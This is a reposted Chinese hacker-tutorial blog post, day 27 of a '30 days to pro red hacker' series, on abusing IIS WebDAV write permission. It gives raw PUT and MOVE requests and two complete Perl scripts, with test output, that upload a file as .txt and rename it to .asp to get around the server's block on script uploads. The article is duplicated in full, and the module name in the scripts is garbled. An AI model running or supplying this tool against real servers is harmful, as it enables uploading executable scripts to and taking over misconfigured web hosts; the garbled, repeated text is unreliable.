30天打造专业红客七
生活随笔
收集整理的這篇文章主要介紹了
30天打造专业红客七
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
?30天打造專業紅客 『第27天』深入對iis寫權限的利用
大家可能看過《遠程分析IIS設置》,里面對iis的各種設置進行了分析,我這里就對iis的寫權限來分析下,以下引用《遠程分析IIS設置》文章對iis寫權限分析內容:
寫權限
測試一個目錄對于web用戶是否具有寫權限,采用如下方法:telnet到服務器的web端口(80)并發送一個如下請求:
PUT /dir/my_file.txt HTTP/1.1
Host: iis-server
Content-Length: 10
這時服務器會返回一個100( 繼續)的信息:
HTTP/1.1 100 Continue
Server: Microsoft-IIS/5.0
Date: Thu, 28 Feb 2002 15:56:00 GMT
接著,我們輸入10個字母:
AAAAAAAAAA
送出這個請求后,看服務器的返回信息,如果是一個 201 Created響應:
HTTP/1.1 201 Created
Server: Microsoft-IIS/5.0
Date: Thu, 28 Feb 2002 15:56:08 GMT
Location: http://iis-server/dir/my_file.txt
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND,
PROPPATCH, SEARCH, LOCK, UNLOCK
那么就說明這個目錄的寫權限是開著的,反之,如果返回的是一個403錯誤,那么寫權限就是沒有開起來,如果需要你認證,并且返回一個 401(權限禁止) 的響應的話,說明是開了寫權限,但是匿名用戶不允許。如果一個目錄同時開了”寫”和“腳本和可執行程序”的話,那么web用戶就可以上傳一個程序并且執行它,恐怖哦%^#$!~
這里簡單說明下:
PUT /dir/my_file.txt HTTP/1.1
Host: iis-server
Content-Length: 10
PUT:請求服務器將附件的實體儲存在提供的請求URL處,如果該請求URL指向的資源已經存在,則附件實體應被看做是當前原始服務器上資源的修改版本。如果請求URL沒有指向現存的資源,該URL將被該請求的用戶代理定義成為一個新的資源,原始服務器將用該URL產生這個資源。
Host:是HTTP請求的發送地址
Content-Length:是內容長度,也就是實體長度,該長度值和上傳的文件大小一致
用nc(telnet)提交很煩瑣,我們這里寫個簡單的perl程序,來完成這個復雜的提交過程,在寫代碼時我們用binmode()方式打開文件,代碼如下:
#!/usr/bin/perl
use I:Socket;
$ARGC = @ARGV;
if ($ARGC != 4)
{
print "usage:$0 127.0.0.1 80 kaka.exe /Scripts/file.exe\n";
exit;
}
$host = @ARGV[0];
$port = @ARGV[1];
$file = @ARGV[2];
$path = @ARGV[3];
@s=stat("$file");
$size = $s[7]; #得到文件大小
print "$file size is $size bytes\n";
my $sock = I:Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) || die "Sorry! Could not connect to $host \n";
print $sock "PUT $path HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Content-Length: $size\n\n"; #sock連接
open(FILE,"$file");
binmode(FILE); #用2進制打開文件
while (read(FILE,$char,1024)) { #讀取文件數據上傳
print $sock "$char";
}
print $sock "\n\n";
@req = <$sock>;
print "please wait...\n";
sleep(2);
if ($req[4]=~/200|201/){
print "upfile Succeed!!!" ; #成功顯示
}
else{
print "upfile faile!!!\n\n";
print @req;#如果失敗顯示返回錯誤
}
close $sock;
close FILE;
下面我們測試下:
C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txt
kaka.txt size is 14 bytes
please wait...
upfile Succeed!!!
C:\Inetpub\Scripts>dir kaka.txt
驅動器 C 中的卷沒有標簽。
卷的序列號是 3CD1-479E
C:\Inetpub\Scripts 的目錄
2004-05-05 00:37 14 kaka.txt
1 個文件 14 字節
0 個目錄 3,871,080,448 可用字節
這里我們把kaka.txt成功上傳到了web目錄Scripts下,以為程序中用了binmode()方式(2進制)打開文件,應該可以上傳其他文件,我們先測試下exe文件:
C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exe
perl.exe size is 20535 bytes
please wait...
upfile Succeed!!!
C:\Inetpub\Scripts>dir perl.exe
驅動器 C 中的卷沒有標簽。
卷的序列號是 3CD1-479E
C:\Inetpub\Scripts 的目錄
2004-05-05 00:42 20,535 perl.exe
1 個文件 20,535 字節
0 個目錄 3,871,031,296 可用字節
成功,可以上傳exe了,是不是可以上傳任意文件呢?接著來測試asp文件:
C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.asp
kaka.asp size is 4 bytes
please wait...
upfile faile!!!
HTTP/1.1 100 Continue
Server: Microsoft-IIS/5.0
Date: Tue, 04 May 2004 16:45:51 GMT
HTTP/1.1 403 Forbidden
Server: Microsoft-IIS/5.0
Date: Tue, 04 May 2004 16:45:51 GMT
Connection: close
Content-Type: text/html
Content-Length: 44
<body><h2>HTTP/1.1 403 Forbidden</h2></body>
失敗!!提示HTTP/1.1 403 Forbidden錯誤,看來直接用post方式寫asp不行了,經過測試只要是iis支持的文件類型都會產生HTTP/1.1 403 Forbidden錯誤。
那我們怎樣才可以上傳iis支持的文件類型文件呢?iis除了可以執行put,post,get等動作外,還可以執行COPY, MOVE等命令,呵呵!我們這可以先把本地asp上傳到遠程主機web目錄下的txt等其他文件,在提過copy,move命令來改為asp。
我們還是先用nc提交測試下:
D:\>nc 127.0.0.1 80
MOVE /scripts/kaka.txt HTTP/1.1
Host:127.0.0.1
Destination: http://127.0.0.1/scripts/kaka.asp
HTTP/1.1 201 Created
Server: Microsoft-IIS/5.0
Date: Sun, 05 Oct 2003 09:30:59 GMT
Location: http://127.0.0.1/scripts/x.asp
Content-Type: text/xml
Content-Length: 0
成功利用MOVE把/scripts/kaka.txt改名/scripts/kaka.asp。這樣我們就可以結合put和move來完成通過iis寫容易文件了:)。我們還是用perl來完成。
測試寫asp成功:
C:\usr\bin>perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp
************************************************************
codz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>
************************************************************
kaka.asp size is 4 bytes
please wait...
upfile Succeed!!!
Modifyfile Succeed!!!
最終的iiswrite.pl代碼如下(由于寫本文時,在網吧對于文章中代碼是先又本人打“草稿”,又lanker測試并最終完成,THX lanker。):
#!/usr/bin/perl
#The iiswrite Script
use I:Socket;
$ARGC = @ARGV;
print "*" x 60;
print "\ncodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>\n";
print "*" x 60,"\n";
if ($ARGC != 4)
{
print "usage:$0 127.0.0.1 80 kaka.txt /scripts/my_file.txt\n";
exit;
}
$host = @ARGV[0];
$port = @ARGV[1];
$path = @ARGV[3];
$file = @ARGV[2];
@path=split("/",$path);
$any = pop(@path);
$path1=join("/",@path);
@s=stat("$file");
$size = $s[7];
print "$file size is $size bytes\n";
my $sock = I:Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) || die "Sorry! Could not connect to $host \n";
print $sock "PUT $path1/lanker.txt HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Content-Length: $size\n\n";
open(FILE,"$file")|| die "Can't open $file";
binmode(FILE);
while (read(FILE,$char,1024)) {
print $sock "$char";
}
print $sock "\n\n";
@req = <$sock>;
print "please wait...\n";
sleep(2);
if ($req[4]=~/200|201/){
print "upfile Succeed!!!\n" ;
}
else{
print "upfile faile!!!\n";
}
close $sock;
close FILE;
my $sock = I:Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) || die "Sorry! Could not connect to $host \n";
print $sock "MOVE $path1/lanker.txt HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Destination:http://$host:$port$path\n\n\n\n";
@req = <$sock>;
if ($req[0]=~/20\d+|/){
print "Modifyfile Succeed!!!" ;
}
else{
print "upfile faile!!!";
}
close $sock;
大家可能看過《遠程分析IIS設置》,里面對iis的各種設置進行了分析,我這里就對iis的寫權限來分析下,以下引用《遠程分析IIS設置》文章對iis寫權限分析內容:
寫權限
測試一個目錄對于web用戶是否具有寫權限,采用如下方法:telnet到服務器的web端口(80)并發送一個如下請求:
PUT /dir/my_file.txt HTTP/1.1
Host: iis-server
Content-Length: 10
這時服務器會返回一個100( 繼續)的信息:
HTTP/1.1 100 Continue
Server: Microsoft-IIS/5.0
Date: Thu, 28 Feb 2002 15:56:00 GMT
接著,我們輸入10個字母:
AAAAAAAAAA
送出這個請求后,看服務器的返回信息,如果是一個 201 Created響應:
HTTP/1.1 201 Created
Server: Microsoft-IIS/5.0
Date: Thu, 28 Feb 2002 15:56:08 GMT
Location: http://iis-server/dir/my_file.txt
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND,
PROPPATCH, SEARCH, LOCK, UNLOCK
那么就說明這個目錄的寫權限是開著的,反之,如果返回的是一個403錯誤,那么寫權限就是沒有開起來,如果需要你認證,并且返回一個 401(權限禁止) 的響應的話,說明是開了寫權限,但是匿名用戶不允許。如果一個目錄同時開了”寫”和“腳本和可執行程序”的話,那么web用戶就可以上傳一個程序并且執行它,恐怖哦%^#$!~
這里簡單說明下:
PUT /dir/my_file.txt HTTP/1.1
Host: iis-server
Content-Length: 10
PUT:請求服務器將附件的實體儲存在提供的請求URL處,如果該請求URL指向的資源已經存在,則附件實體應被看做是當前原始服務器上資源的修改版本。如果請求URL沒有指向現存的資源,該URL將被該請求的用戶代理定義成為一個新的資源,原始服務器將用該URL產生這個資源。
Host:是HTTP請求的發送地址
Content-Length:是內容長度,也就是實體長度,該長度值和上傳的文件大小一致
用nc(telnet)提交很煩瑣,我們這里寫個簡單的perl程序,來完成這個復雜的提交過程,在寫代碼時我們用binmode()方式打開文件,代碼如下:
#!/usr/bin/perl
use I:Socket;
$ARGC = @ARGV;
if ($ARGC != 4)
{
print "usage:$0 127.0.0.1 80 kaka.exe /Scripts/file.exe\n";
exit;
}
$host = @ARGV[0];
$port = @ARGV[1];
$file = @ARGV[2];
$path = @ARGV[3];
@s=stat("$file");
$size = $s[7]; #得到文件大小
print "$file size is $size bytes\n";
my $sock = I:Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) || die "Sorry! Could not connect to $host \n";
print $sock "PUT $path HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Content-Length: $size\n\n"; #sock連接
open(FILE,"$file");
binmode(FILE); #用2進制打開文件
while (read(FILE,$char,1024)) { #讀取文件數據上傳
print $sock "$char";
}
print $sock "\n\n";
@req = <$sock>;
print "please wait...\n";
sleep(2);
if ($req[4]=~/200|201/){
print "upfile Succeed!!!" ; #成功顯示
}
else{
print "upfile faile!!!\n\n";
print @req;#如果失敗顯示返回錯誤
}
close $sock;
close FILE;
下面我們測試下:
C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txt
kaka.txt size is 14 bytes
please wait...
upfile Succeed!!!
C:\Inetpub\Scripts>dir kaka.txt
驅動器 C 中的卷沒有標簽。
卷的序列號是 3CD1-479E
C:\Inetpub\Scripts 的目錄
2004-05-05 00:37 14 kaka.txt
1 個文件 14 字節
0 個目錄 3,871,080,448 可用字節
這里我們把kaka.txt成功上傳到了web目錄Scripts下,以為程序中用了binmode()方式(2進制)打開文件,應該可以上傳其他文件,我們先測試下exe文件:
C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exe
perl.exe size is 20535 bytes
please wait...
upfile Succeed!!!
C:\Inetpub\Scripts>dir perl.exe
驅動器 C 中的卷沒有標簽。
卷的序列號是 3CD1-479E
C:\Inetpub\Scripts 的目錄
2004-05-05 00:42 20,535 perl.exe
1 個文件 20,535 字節
0 個目錄 3,871,031,296 可用字節
成功,可以上傳exe了,是不是可以上傳任意文件呢?接著來測試asp文件:
C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.asp
kaka.asp size is 4 bytes
please wait...
upfile faile!!!
HTTP/1.1 100 Continue
Server: Microsoft-IIS/5.0
Date: Tue, 04 May 2004 16:45:51 GMT
HTTP/1.1 403 Forbidden
Server: Microsoft-IIS/5.0
Date: Tue, 04 May 2004 16:45:51 GMT
Connection: close
Content-Type: text/html
Content-Length: 44
<body><h2>HTTP/1.1 403 Forbidden</h2></body>
失敗!!提示HTTP/1.1 403 Forbidden錯誤,看來直接用post方式寫asp不行了,經過測試只要是iis支持的文件類型都會產生HTTP/1.1 403 Forbidden錯誤。
那我們怎樣才可以上傳iis支持的文件類型文件呢?iis除了可以執行put,post,get等動作外,還可以執行COPY, MOVE等命令,呵呵!我們這可以先把本地asp上傳到遠程主機web目錄下的txt等其他文件,在提過copy,move命令來改為asp。
我們還是先用nc提交測試下:
D:\>nc 127.0.0.1 80
MOVE /scripts/kaka.txt HTTP/1.1
Host:127.0.0.1
Destination: http://127.0.0.1/scripts/kaka.asp
HTTP/1.1 201 Created
Server: Microsoft-IIS/5.0
Date: Sun, 05 Oct 2003 09:30:59 GMT
Location: http://127.0.0.1/scripts/x.asp
Content-Type: text/xml
Content-Length: 0
成功利用MOVE把/scripts/kaka.txt改名/scripts/kaka.asp。這樣我們就可以結合put和move來完成通過iis寫容易文件了:)。我們還是用perl來完成。
測試寫asp成功:
C:\usr\bin>perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp
************************************************************
codz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>
************************************************************
kaka.asp size is 4 bytes
please wait...
upfile Succeed!!!
Modifyfile Succeed!!!
最終的iiswrite.pl代碼如下(由于寫本文時,在網吧對于文章中代碼是先又本人打“草稿”,又lanker測試并最終完成,THX lanker。):
#!/usr/bin/perl
#The iiswrite Script
use I:Socket;
$ARGC = @ARGV;
print "*" x 60;
print "\ncodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>\n";
print "*" x 60,"\n";
if ($ARGC != 4)
{
print "usage:$0 127.0.0.1 80 kaka.txt /scripts/my_file.txt\n";
exit;
}
$host = @ARGV[0];
$port = @ARGV[1];
$path = @ARGV[3];
$file = @ARGV[2];
@path=split("/",$path);
$any = pop(@path);
$path1=join("/",@path);
@s=stat("$file");
$size = $s[7];
print "$file size is $size bytes\n";
my $sock = I:Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) || die "Sorry! Could not connect to $host \n";
print $sock "PUT $path1/lanker.txt HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Content-Length: $size\n\n";
open(FILE,"$file")|| die "Can't open $file";
binmode(FILE);
while (read(FILE,$char,1024)) {
print $sock "$char";
}
print $sock "\n\n";
@req = <$sock>;
print "please wait...\n";
sleep(2);
if ($req[4]=~/200|201/){
print "upfile Succeed!!!\n" ;
}
else{
print "upfile faile!!!\n";
}
close $sock;
close FILE;
my $sock = I:Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) || die "Sorry! Could not connect to $host \n";
print $sock "MOVE $path1/lanker.txt HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Destination:http://$host:$port$path\n\n\n\n";
@req = <$sock>;
if ($req[0]=~/20\d+|/){
print "Modifyfile Succeed!!!" ;
}
else{
print "upfile faile!!!";
}
close $sock;
轉載于:https://blog.51cto.com/wlgc520/357952
總結
以上是生活随笔為你收集整理的30天打造专业红客七的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 用sfc命令修复Windows7的系统文
- 下一篇: Delphi中使用API将目录删除函数